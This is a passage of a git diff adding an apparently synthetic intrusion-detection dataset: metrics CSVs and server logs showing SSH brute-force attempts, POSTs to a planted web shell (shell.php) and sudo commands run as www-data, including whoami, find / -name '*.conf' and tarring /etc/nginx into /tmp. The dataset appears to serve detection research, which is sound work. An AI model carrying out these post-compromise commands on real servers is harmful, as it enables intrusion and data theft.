10:04:03 sshd[2003]: Failed password for invalid user ec2-user from 203.0.113.78 port 33952 ssh2 +Aug 22 10:04:06 sshd[2003]: Failed password for invalid user api_user from 203.0.113.78 port 30514 ssh2 +Aug 22 10:04:06 sshd[2003]: Failed password for invalid user sarah from 172.16.254.1 port 31327 ssh2 +Aug 22 10:04:07 sshd[2003]: Failed password for invalid user backup from 198.51.100.112 port 14776 ssh2 +Aug 22 10:04:07 sshd[2003]: Failed password for invalid user prod from 10.100.5.23 port 18956 ssh2 +Aug 22 10:04:07 sshd[2003]: Failed password for invalid user sarah from 203.0.113.78 port 31462 ssh2 +Aug 22 10:04:08 sshd[2003]: Failed password for backup from 172.16.254.1 port 49315 ssh2 +Aug 22 10:04:08 sshd[2003]: Failed password for guest from 10.100.5.23 port 17010 ssh2 +Aug 22 10:04:09 sshd[2003]: Failed password for administrator from 198.51.100.112 port 39406 ssh2 +Aug 22 10:04:10 sshd[2003]: Failed password for administrator from 203.0.113.78 port 17427 ssh2 +Aug 22 10:04:11 sshd[2003]: Failed password for administrator from 203.0.113.78 port 51302 ssh2 +Aug 22 10:04:12 sshd[2003]: Failed password for invalid user backup from 10.100.5.23 port 18537 ssh2 +Aug 22 10:04:12 sshd[2003]: Failed password for test from 203.0.113.78 port 34354 ssh2 +Aug 22 10:04:13 sshd[2003]: Failed password for invalid user ec2-user from 172.16.254.1 port 54690 ssh2 +Aug 22 10:04:14 sshd[2003]: Failed password for invalid user admin from 198.51.100.112 port 28930 ssh2 +Aug 22 10:04:14 sshd[2003]: Failed password for invalid user sarah from 10.100.5.23 port 22910 ssh2 +Aug 22 10:04:14 sshd[2003]: Failed password for user from 172.16.254.1 port 53443 ssh2 +Aug 22 10:04:17 sshd[2003]: Failed password for invalid user sarah from 203.0.113.78 port 13019 ssh2 +Aug 22 10:04:18 sshd[2003]: Failed password for invalid user prod from 10.100.5.23 port 20294 ssh2 +Aug 22 10:04:19 sshd[2003]: Failed password for backup from 10.100.5.23 port 45898 ssh2 +Aug 22 10:04:19 sshd[2003]: Failed password for backup from 198.51.100.112 port 50670 ssh2 +Aug 22 10:04:19 sshd[2003]: Failed password for invalid user guest from 172.16.254.1 port 42621 ssh2 +Aug 22 10:04:19 sshd[2003]: Failed password for invalid user prod from 172.16.254.1 port 52144 ssh2 +Aug 22 10:04:20 sshd[2003]: Failed password for ec2-user from 198.51.100.112 port 61916 ssh2 +Aug 22 10:04:22 sshd[2003]: Failed password for guest from 172.16.254.1 port 60592 ssh2 +Aug 22 10:04:22 sshd[2003]: Failed password for invalid user backup from 10.100.5.23 port 22265 ssh2 +Aug 22 10:04:23 sshd[2003]: Failed password for invalid user guest from 203.0.113.78 port 37412 ssh2 +Aug 22 10:04:24 sshd[2003]: Failed password for invalid user api_user from 203.0.113.78 port 45893 ssh2 +Aug 22 10:04:25 sshd[2003]: Failed password for backup from 203.0.113.78 port 31177 ssh2 +Aug 22 10:04:25 sshd[2003]: Failed password for test from 203.0.113.78 port 42621 ssh2 +Aug 22 10:04:26 sshd[2003]: Failed password for administrator from 10.100.5.23 port 42175 ssh2 +Aug 22 10:04:26 sshd[2003]: Failed password for user from 10.100.5.23 port 52438 ssh2 +Aug 22 10:04:28 sshd[2003]: Failed password for ec2-user from 172.16.254.1 port 34113 ssh2 +Aug 22 10:04:29 sshd[2003]: Failed password for invalid user administrator from 198.51.100.112 port 55868 ssh2 +Aug 22 10:04:29 sshd[2003]: Failed password for invalid user user from 198.51.100.112 port 55136 ssh2 +Aug 22 10:04:32 sshd[2003]: Failed password for backup from 10.100.5.23 port 11222 ssh2 +Aug 22 10:04:32 sshd[2003]: Failed password for test from 10.100.5.23 port 37887 ssh2 +Aug 22 10:04:33 sshd[2003]: Failed password for invalid user ec2-user from 198.51.100.112 port 20558 ssh2 +Aug 22 10:04:33 sshd[2003]: Failed password for invalid user john from 198.51.100.112 port 34089 ssh2 +Aug 22 10:04:34 sshd[2003]: Failed password for invalid user john from 10.100.5.23 port 44391 ssh2 +Aug 22 10:04:35 sshd[2003]: Failed password for invalid user user from 203.0.113.78 port 28404 ssh2 +Aug 22 10:04:36 sshd[2003]: Failed password for backup from 203.0.113.78 port 39223 ssh2 +Aug 22 10:04:36 sshd[2003]: Failed password for invalid user john from 10.100.5.23 port 54412 ssh2 +Aug 22 10:04:37 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 63563 ssh2 +Aug 22 10:04:38 sshd[2003]: Failed password for backup from 10.100.5.23 port 24832 ssh2 +Aug 22 10:04:38 sshd[2003]: Failed password for invalid user backup from 10.100.5.23 port 58877 ssh2 +Aug 22 10:04:39 sshd[2003]: Failed password for invalid user admin from 10.100.5.23 port 40462 ssh2 +Aug 22 10:04:39 sshd[2003]: Failed password for invalid user dev from 198.51.100.112 port 49388 ssh2 +Aug 22 10:04:41 sshd[2003]: Failed password for invalid user john from 172.16.254.1 port 35416 ssh2 +Aug 22 10:04:42 sshd[2003]: Failed password for invalid user sarah from 10.100.5.23 port 51811 ssh2 +Aug 22 10:04:42 sshd[2003]: Failed password for invalid user test from 198.51.100.112 port 15040 ssh2 +Aug 22 10:04:44 sshd[2003]: Failed password for invalid user system from 198.51.100.112 port 47585 ssh2 +Aug 22 10:04:45 sshd[2003]: Failed password for test from 203.0.113.78 port 64906 ssh2 +Aug 22 10:04:46 sshd[2003]: Failed password for guest from 10.100.5.23 port 40155 ssh2 +Aug 22 10:04:46 sshd[2003]: Failed password for invalid user user from 203.0.113.78 port 63456 ssh2 +Aug 22 10:04:47 sshd[2003]: Failed password for invalid user admin from 10.100.5.23 port 14903 ssh2 +Aug 22 10:04:47 sshd[2003]: Failed password for invalid user test from 198.51.100.112 port 35137 ssh2 +Aug 22 10:04:47 sshd[2003]: Failed password for test from 10.100.5.23 port 25178 ssh2 +Aug 22 10:04:48 sshd[2003]: Failed password for invalid user backup from 10.100.5.23 port 50312 ssh2 +Aug 22 10:04:49 sshd[2003]: Failed password for invalid user admin from 203.0.113.78 port 61537 ssh2 +Aug 22 10:04:50 sshd[2003]: Failed password for ec2-user from 10.100.5.23 port 39795 ssh2 +Aug 22 10:04:50 sshd[2003]: Failed password for invalid user administrator from 172.16.254.1 port 24903 ssh2 +Aug 22 10:04:50 sshd[2003]: Failed password for invalid user john from 10.100.5.23 port 35572 ssh2 +Aug 22 10:04:50 sshd[2003]: Failed password for user from 203.0.113.78 port 26543 ssh2 +Aug 22 10:04:51 sshd[2003]: Failed password for guest from 198.51.100.112 port 47153 ssh2 +Aug 22 10:04:51 sshd[2003]: Failed password for invalid user root from 203.0.113.78 port 26672 ssh2 +Aug 22 10:04:51 sshd[2003]: Failed password for invalid user system from 198.51.100.112 port 48523 ssh2 +Aug 22 10:04:52 sshd[2003]: Failed password for user from 172.16.254.1 port 51122 ssh2 +Aug 22 10:04:57 sshd[2003]: Failed password for admin from 198.51.100.112 port 34581 ssh2 +Aug 22 10:04:57 sshd[2003]: Failed password for invalid user ec2-user from 10.100.5.23 port 46493 ssh2 +Aug 22 10:04:58 sshd[2003]: Failed password for ec2-user from 203.0.113.78 port 32202 ssh2 +Aug 22 10:05:05 TCP: kona_tcp_congestion_control registered +Aug 22 10:05:10 Starting daily clean up activities... +Aug 22 10:05:20 Starting daily clean up activities... +Aug 22 10:05:30 Starting daily clean up activities... +Aug 22 10:05:35 (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:35 (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:45 Starting daily clean up activities... +Aug 22 10:07:15 TCP: kona_tcp_congestion_control registered +Aug 22 10:07:25 (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_8/mali_8_1.csv b/mali_dataset/scenario_8/mali_8_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..3b4a0f772cddf9e7708acd21d872fb551ab77568 --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_1.csv @@ -0,0 +1,91 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-08-16T14:00:00Z,7.12,28.51,2.05,0.98,1.55" +"2025-08-16T14:00:05Z,6.95,28.43,2.15,1.05,1.43" +"2025-08-16T14:00:10Z,7.33,28.6,1.99,0.89,1.61" +"2025-08-16T14:00:15Z,7.08,28.55,2.08,1.12,1.38" +"2025-08-16T14:00:20Z,7.21,28.49,2.11,0.95,1.59" +"2025-08-16T14:00:25Z,7.15,28.58,2.01,1.01,1.48" +"2025-08-16T14:00:30Z,15.68,30.12,2.54,2.88,2.95" +"2025-08-16T14:00:35Z,7.25,28.61,2.18,0.92,1.51" +"2025-08-16T14:00:40Z,7.31,28.57,2.07,1.08,1.64" +"2025-08-16T14:00:45Z,7.19,28.45,2.13,0.99,1.45" +"2025-08-16T14:00:50Z,7.28,28.63,2.03,1.1,1.57" +"2025-08-16T14:00:55Z,7.1,28.52,2.16,0.94,1.41" +"2025-08-16T14:01:00Z,25.42,32.81,3.15,2.91,8.72" +"2025-08-16T14:01:05Z,7.35,28.65,2.09,1.03,1.66" +"2025-08-16T14:01:10Z,7.22,28.59,2.1,0.97,1.53" +"2025-08-16T14:01:15Z,7.18,28.48,2.14,1.06,1.4" +"2025-08-16T14:01:20Z,7.29,28.64,2.04,0.91,1.58" +"2025-08-16T14:01:25Z,7.13,28.54,2.17,1.11,1.47" +"2025-08-16T14:01:30Z,16.11,30.33,2.68,2.95,3.01" +"2025-08-16T14:01:35Z,7.39,28.68,2.06,1.0,1.68" +"2025-08-16T14:01:40Z,7.26,28.6,2.12,0.96,1.55" +"2025-08-16T14:01:45Z,7.2,28.5,2.15,1.09,1.42" +"2025-08-16T14:01:50Z,7.33,28.67,2.02,0.93,1.6" +"2025-08-16T14:01:55Z,7.16,28.56,2.19,1.04,1.49" +"2025-08-16T14:02:00Z,15.95,30.21,2.59,2.86,2.98" +"2025-08-16T14:02:05Z,7.41,28.7,2.08,1.07,1.7" +"2025-08-16T14:02:10Z,7.28,28.62,2.11,0.98,1.57" +"2025-08-16T14:02:15Z,7.23,28.53,2.16,1.02,1.44" +"2025-08-16T14:02:20Z,7.36,28.69,2.0,0.9,1.62" +"2025-08-16T14:02:25Z,7.19,28.58,2.2,1.13,1.51" +"2025-08-16T14:02:30Z,16.23,30.45,2.71,2.99,3.05" +"2025-08-16T14:02:35Z,7.43,28.72,2.05,1.05,1.72" +"2025-08-16T14:02:40Z,7.3,28.65,2.13,0.95,1.59" +"2025-08-16T14:02:45Z,7.25,28.55,2.17,1.08,1.46" +"2025-08-16T14:02:50Z,7.38,28.71,2.01,0.92,1.64" +"2025-08-16T14:02:55Z,7.21,28.6,2.21,1.1,1.53" +"2025-08-16T14:03:00Z,35.88,38.15,5.33,3.15,45.67" +"2025-08-16T14:03:05Z,7.45,28.75,2.07,1.01,1.74" +"2025-08-16T14:03:10Z,7.32,28.68,2.12,0.99,1.61" +"2025-08-16T14:03:15Z,7.27,28.57,2.18,1.06,1.48" +"2025-08-16T14:03:20Z,7.4,28.73,2.03,0.94,1.66" +"2025-08-16T14:03:25Z,7.23,28.61,2.22,1.12,1.55" +"2025-08-16T14:03:30Z,15.89,30.18,2.62,2.93,2.99" +"2025-08-16T14:03:35Z,7.47,28.78,2.06,1.03,1.76" +"2025-08-16T14:03:40Z,7.34,28.7,2.14,0.97,1.63" +"2025-08-16T14:03:45Z,7.29,28.59,2.19,1.1,1.5" +"2025-08-16T14:03:50Z,7.42,28.76,2.02,0.95,1.68" +"2025-08-16T14:03:55Z,7.25,28.63,2.23,1.09,1.57" +"2025-08-16T14:04:00Z,16.31,30.5,2.75,3.01,3.08" +"2025-08-16T14:04:05Z,7.49,28.8,2.08,1.0,1.78" +"2025-08-16T14:04:10Z,7.36,28.72,2.13,0.98,1.65" +"2025-08-16T14:04:15Z,7.31,28.61,2.2,1.11,1.52" +"2025-08-16T14:04:20Z,7.44,28.78,2.01,0.93,1.7" +"2025-08-16T14:04:25Z,7.27,28.65,2.24,1.07,1.59" +"2025-08-16T14:04:30Z,16.05,30.29,2.66,2.89,3.02" +"2025-08-16T14:04:35Z,7.51,28.83,2.07,1.04,1.8" +"2025-08-16T14:04:40Z,7.38,28.75,2.15,0.96,1.67" +"2025-08-16T14:04:45Z,7.33,28.64,2.21,1.12,1.54" +"2025-08-16T14:04:50Z,7.46,28.81,2.04,0.91,1.72" +"2025-08-16T14:04:55Z,7.29,28.67,2.25,1.08,1.61" +"2025-08-16T14:05:00Z,45.72,41.2,65.91,3.22,38.43" +"2025-08-16T14:05:05Z,42.18,40.88,61.75,1.15,35.19" +"2025-08-16T14:05:10Z,38.93,39.54,55.23,1.1,31.88" +"2025-08-16T14:05:15Z,25.66,35.1,30.41,1.05,20.76" +"2025-08-16T14:05:20Z,7.48,28.84,2.09,0.99,1.75" +"2025-08-16T14:05:25Z,7.31,28.69,2.26,1.14,1.63" +"2025-08-16T14:05:30Z,16.42,30.55,2.78,3.05,3.12" +"2025-08-16T14:05:35Z,7.53,28.87,2.08,1.02,1.82" +"2025-08-16T14:05:40Z,7.4,28.78,2.16,0.97,1.69" +"2025-08-16T14:05:45Z,7.35,28.67,2.22,1.1,1.56" +"2025-08-16T14:05:50Z,7.48,28.83,2.05,0.94,1.74" +"2025-08-16T14:05:55Z,7.31,28.7,2.27,1.11,1.62" +"2025-08-16T14:06:00Z,15.98,30.25,2.64,2.91,3.0" +"2025-08-16T14:06:05Z,7.55,28.9,2.1,1.06,1.84" +"2025-08-16T14:06:10Z,7.42,28.8,2.17,0.95,1.71" +"2025-08-16T14:06:15Z,7.37,28.69,2.23,1.13,1.58" +"2025-08-16T14:06:20Z,7.5,28.86,2.03,0.92,1.76" +"2025-08-16T14:06:25Z,7.33,28.72,2.28,1.09,1.64" +"2025-08-16T14:06:30Z,16.5,30.61,2.81,3.08,3.15" +"2025-08-16T14:06:35Z,7.57,28.92,2.09,1.01,1.86" +"2025-08-16T14:06:40Z,75.11,45.33,52.81,1.25,5.18" +"2025-08-16T14:06:45Z,82.43,48.91,68.34,1.31,8.92" +"2025-08-16T14:06:50Z,61.05,42.1,41.15,1.21,4.33" +"2025-08-16T14:06:55Z,7.35,28.75,2.29,1.1,1.66" +"2025-08-16T14:07:00Z,16.15,30.38,2.7,2.95,12.44" +"2025-08-16T14:07:05Z,7.59,28.95,2.11,1.05,1.88" +"2025-08-16T14:07:10Z,7.44,28.83,2.18,0.98,1.73" +"2025-08-16T14:07:15Z,7.39,28.71,2.25,1.14,1.6" +"2025-08-16T14:07:20Z,7.52,28.88,2.06,0.93,1.78" +"2025-08-16T14:07:25Z,7.36,28.77,2.3,1.1,1.67" diff --git a/mali_dataset/scenario_8/mali_8_1.log b/mali_dataset/scenario_8/mali_8_1.log new file mode 100644 index 0000000000000000000000000000000000000000..da08526b4b9fddabf3b98389296b5e39a3641a36 --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_1.log @@ -0,0 +1,34 @@ +Aug 16 14:00:02 webserver-prod-1 CRON[21011]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 16 14:00:15 webserver-prod-1 sshd[21025]: Accepted publickey for user admin from 203.0.113.54 port 49822 ssh2: RSA SHA256:xxxxxxxxxxxx +Aug 16 14:00:18 webserver-prod-1 systemd[1]: Started Session 12 of user admin. +Aug 16 14:00:30 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:00:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:00:55 webserver-prod-1 nginx[1121]: 81.91.232.11 - - [16/Aug/2025:14:00:55 +0000] "GET /products/item123 HTTP/1.1" 200 4096 "http://example.com/category" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" +Aug 16 14:01:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:01:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 134 "-" "Go-http-client/1.1" +Aug 16 14:01:01 webserver-prod-1 kernel: [1822.543210] audit: type=1400 audit(1755352861.345:102): apparmor="DENIED" operation="exec" profile="/usr/sbin/nginx" name="/bin/sh" pid=21050 comm="nginx" requested_mask="x" denied_mask="x" fsuid=33 ouid=0 +Aug 16 14:01:01 webserver-prod-1 sudo: pam_unix(sudo:session): session opened for user root by (uid=33) +Aug 16 14:01:01 webserver-prod-1 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c whoami && uname -a +Aug 16 14:01:01 webserver-prod-1 sudo: pam_unix(sudo:session): session closed for user root +Aug 16 14:01:30 webserver-prod-1 nginx[1121]: 185.19.85.34 - - [16/Aug/2025:14:01:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:02:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:02:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:02:21 webserver-prod-1 nginx[1120]: 45.138.156.90 - - [16/Aug/2025:14:02:21 +0000] "GET /login.php HTTP/1.1" 200 1502 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 16 14:02:30 webserver-prod-1 nginx[1121]: 185.19.85.34 - - [16/Aug/2025:14:02:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:03:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:03:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 28431 "-" "Go-http-client/1.1" +Aug 16 14:03:01 webserver-prod-1 sudo: pam_unix(sudo:session): session opened for user root by (uid=33) +Aug 16 14:03:01 webserver-prod-1 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c ps aux +Aug 16 14:03:01 webserver-prod-1 sudo: pam_unix(sudo:session): session closed for user root +Aug 16 14:03:30 webserver-prod-1 nginx[1121]: 185.19.85.34 - - [16/Aug/2025:14:03:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:03:45 webserver-prod-1 CRON[21098]: (admin) CMD (/home/admin/scripts/backup.sh) +Aug 16 14:04:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:04:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:04:30 webserver-prod-1 nginx[1121]: 185.19.85.34 - - [16/Aug/2025:14:04:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:05:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:05:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 21055 "-" "Go-http-client/1.1" +Aug 16 14:05:01 webserver-prod-1 sudo: pam_unix(sudo:session): session opened for user root by (uid=33) +Aug 16 14:05:01 webserver-prod-1 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c find / -name "*.conf" +Aug 16 14:05:18 webserver-prod-1 sudo: pam_unix(sudo:session): session closed for user root +Aug 16 14:05:30 webserver-prod-1 nginx[1121]: 185.19.85.34 - - [16/Aug/2025:14:05:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:06:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:06:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:06:30 webserver-prod-1 nginx[1121]: 185.19.85.34 - - [16/Aug/2025:14:06:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 18 "-" "Go-http-client/1.1" +Aug 16 14:06:41 webserver-prod-1 sudo: pam_unix(sudo:session): session opened for user root by (uid=33) +Aug 16 14:06:41 webserver-prod-1 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c tar -czf /tmp/nginx_conf.tar.gz /etc/nginx +Aug 16 14:06:48 webserver-prod-1 sudo: pam_unix(sudo:session): session closed for user root +Aug 16 14:07:00 webserver-prod-1 nginx[1120]: 185.19.85.34 - - [16/Aug/2025:14:07:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 9743 "-" "Go-http-client/1.1" +Aug 16 14:07:22 webserver-prod-1 nginx[1121]: 198.51.100.8 - - [16/Aug/2025:14:07:22 +0000] "GET / HTTP/1.1" 200 12051 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_2.csv b/mali_dataset/scenario_8/mali_8_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..54106950d00d99455450f1f09b9cf742f38f5d21 --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T10:00:00Z,9.823406684021572,35.40681676811604,2.735041874653403,1.6098619472134694,2.2547278440585368 +2025-08-17T10:00:05Z,6.855674463453183,34.557349842753645,3.0496900349166323,1.6636693896387027,2.2986024735145825 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+2025-08-17T10:02:10Z,28.00024226469079,33.95133711404601,2.722427706900406,1.9067276110957194,8.235283569482604 +2025-08-17T10:02:15Z,8.243988538489573,35.01293954771159,2.0072898944781588,1.3702154349153393,2.2551292661679625 +2025-08-17T10:02:20Z,8.778422327501866,35.467813695254165,2.8616361936054973,1.610388895045662,2.2756168643906762 +2025-08-17T10:02:25Z,9.916578570426037,35.16805825594238,2.1452925641237583,0.7526679983510168,2.3609824201031446 +2025-08-17T10:02:30Z,17.8508497162761,35.92732760107851,4.1731601236682145,2.5674889228975175,4.770944461945945 +2025-08-17T10:02:35Z,6.17954955899412,34.86606682819823,2.7595286355463022,1.85618251254239,2.020808986651174 +2025-08-17T10:02:40Z,11.300924963564338,34.69274802766649,2.227402594599548,1.6049433930894876,1.7756271661138947 +2025-08-17T10:02:45Z,7.734270578923217,35.34348610227452,2.6871900412985976,1.3369640847705628,1.7935961177224462 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+2025-08-17T10:03:30Z,45.00667886478645,44.238977299132976,2.442657396448374,2.0747804993165975,21.616910164264247 +2025-08-17T10:03:35Z,35.09323541315471,42.345866425433535,2.4217839270286503,1.3818240564044506,19.347675020513247 +2025-08-17T10:03:40Z,34.45756559415658,41.87887135601376,2.134525114944503,1.7625642508474968,18.686307778591246 +2025-08-17T10:03:45Z,7.417011915020044,35.24671368151451,2.2926742115780834,1.535795651636897,2.144078460921754 +2025-08-17T10:03:50Z,7.732510428061234,35.34347558555638,2.3302476752496735,1.8187331983181958,2.1892610697192048 +2025-08-17T10:03:55Z,9.309060088891702,34.9041319906578,2.255804135355213,1.285135617891087,1.1874957380804616 +2025-08-17T10:04:00Z,19.615743673693302,37.35514664178407,2.7844329976225075,2.0982952976444254,4.712127932687035 +2025-08-17T10:04:05Z,8.926375128922803,34.984344527787165,2.012595903034195,1.0446119386850996,2.4538824987496004 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+2025-08-17T10:04:50Z,6.023390134508655,35.40163100614709,2.5074338452304765,1.840691955884704,1.8469504124172849 +2025-08-17T10:04:55Z,10.163441175557079,35.006497106943144,2.6440288628806248,1.3999149584437152,2.2111677804862317 +2025-08-17T10:05:00Z,71.86791009015084,35.27129689759002,109.02533069632335,2.6880288955559486,45.64911291277753 +2025-08-17T10:05:05Z,62.803695492211936,35.39704061064225,108.38610732669929,1.3657205603991331,43.1956681242189 +2025-08-17T10:05:10Z,63.52675287828471,34.72393444322393,108.54195965979032,1.5878275872589653,43.760944958587466 +2025-08-17T10:05:15Z,59.30589749538107,34.71951257472296,109.03483700392749,1.6503236341722323,43.75077229927934 +2025-08-17T10:05:20Z,62.91702731745099,35.00004145276724,108.06924988696385,1.0558983805362465,43.03858961081441 +2025-08-17T10:05:25Z,62.03636558176049,34.90319869483111,109.50108705808361,1.7976273211678322,42.80442767848763 +2025-08-17T10:05:30Z,16.543401905434436,36.452200131978266,2.0828697176009805,2.469800089780136,3.462205103265655 +2025-08-17T10:05:35Z,7.847502076526805,35.10059373332093,2.9135181581170952,1.6508313041292364,1.9198753924662284 +2025-08-17T10:05:40Z,7.67766292713854,34.85572863506629,1.3357068967114332,2.0177506764205146,1.6522073210374637 +2025-08-17T10:05:45Z,9.68772133312885,35.79884688893886,1.7119853829084688,1.3399937253431848,2.044105494327526 +2025-08-17T10:05:50Z,9.119165255901233,34.38242343903646,3.412294879534555,1.507536169790872,2.8759909389689646 +2025-08-17T10:05:55Z,9.17073309274651,35.07976658118285,2.195185719568156,1.3240736628789045,2.1961006296534102 +2025-08-17T10:06:00Z,20.415240106827067,37.646772852026565,1.835944120708858,2.1243023794006666,4.415370695306248 +2025-08-17T10:06:05Z,6.380444141730097,35.084341089833764,2.694859327110239,1.2703725695852468,1.846438229603418 +2025-08-17T10:06:10Z,7.933204546205736,34.24184990545948,2.4343531595866947,1.9834049200289758,2.0791263298247666 +2025-08-17T10:06:15Z,7.4856279621379205,35.72068029048535,2.0491296600228543,1.4896356433794207,2.145658148383809 +2025-08-17T10:06:20Z,8.00092740633645,34.98842710319606,1.8430147860106845,1.9431326550915915,2.7669723821507173 +2025-08-17T10:06:25Z,8.367448738486424,35.07498679805208,2.060142863211024,2.148383465574986,2.4278504895425232 +2025-08-17T10:06:30Z,20.041655320866873,37.033312349510055,2.905524339549731,2.7781470065539136,4.569584679434511 +2025-08-17T10:06:35Z,7.761094610702114,35.11047866503966,2.4304694167261798,1.4040821699593196,1.6962787274989477 +2025-08-17T10:06:40Z,8.251678993011884,35.598792194021094,2.351163454406762,1.7548695932742548,1.6089036254924567 +2025-08-17T10:06:45Z,8.914741205940834,34.56169804855792,2.4148223272475255,1.4477385451579172,2.4142826700014046 +2025-08-17T10:06:50Z,6.0625152112343725,35.178176007252475,2.9342645582745326,0.6674661691956663,2.018129484521698 +2025-08-17T10:06:55Z,9.734592189999812,35.089565349398676,2.4988022675471804,1.5706566403479734,1.8221962381182932 +2025-08-17T10:07:00Z,17.179386401390236,37.586219674522354,2.9659727388104566,2.1916305469766826,5.275491284648032 +2025-08-17T10:07:05Z,7.835810828947876,35.093150269843036,3.0743081213597416,1.2037277148984402,1.6338061533303496 +2025-08-17T10:07:10Z,8.038562005923703,35.3443325783014,2.940936610936801,1.6456964597321722,2.884612207220573 +2025-08-17T10:07:15Z,7.733324401053807,34.82826341537102,2.2042430203024885,1.5254728245702585,2.230261602267392 +2025-08-17T10:07:20Z,9.387087028553358,35.32075521746718,3.2226952631267007,1.1828671791482486,2.0576431585444483 +2025-08-17T10:07:25Z,6.026668698414932,35.298768143010165,3.239474102669665,1.6231332439438801,1.9970047254417855 \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_2.log b/mali_dataset/scenario_8/mali_8_2.log new file mode 100644 index 0000000000000000000000000000000000000000..d215a43a61b4619aa97c89a3b245023112ab9a8f --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_2.log @@ -0,0 +1,23 @@ +Aug 17 10:00:02 webserver-prod-2 CRON[22101]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 17 10:00:30 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:00:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:00:45 webserver-prod-2 nginx[1120]: 121.43.110.25 - - [17/Aug/2025:10:00:45 +0000] "GET /index.html HTTP/1.1" 200 8192 "http://example.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 17 10:00:59 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:00:59 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:01:30 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:01:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:01:32 webserver-prod-2 sshd[22150]: Accepted publickey for user admin from 203.0.113.10 port 51234 ssh2: RSA SHA256:zzzzzzzzzzzz +Aug 17 10:01:34 webserver-prod-2 systemd[1]: Started Session 15 of user admin. +Aug 17 10:02:00 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:02:00 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:02:05 webserver-prod-2 sudo: www-data : TTY=unknown ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/sh -c whoami +Aug 17 10:02:30 webserver-prod-2 nginx[1121]: 198.51.100.78 - - [17/Aug/2025:10:02:30 +0000] "POST /wp-content/uploads/shell.php HTTP/1.1" 200 32 "-" "Go-http-client/1.1" +Aug 17 10:02:35 webserver-prod-2 nginx[1121]: 88.208.220.67 - - [17/Aug/2025:10:02:35 +0000] "GET /products/item456 HTTP/1.1" 200 4096 "http://example.com/category/electronics" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 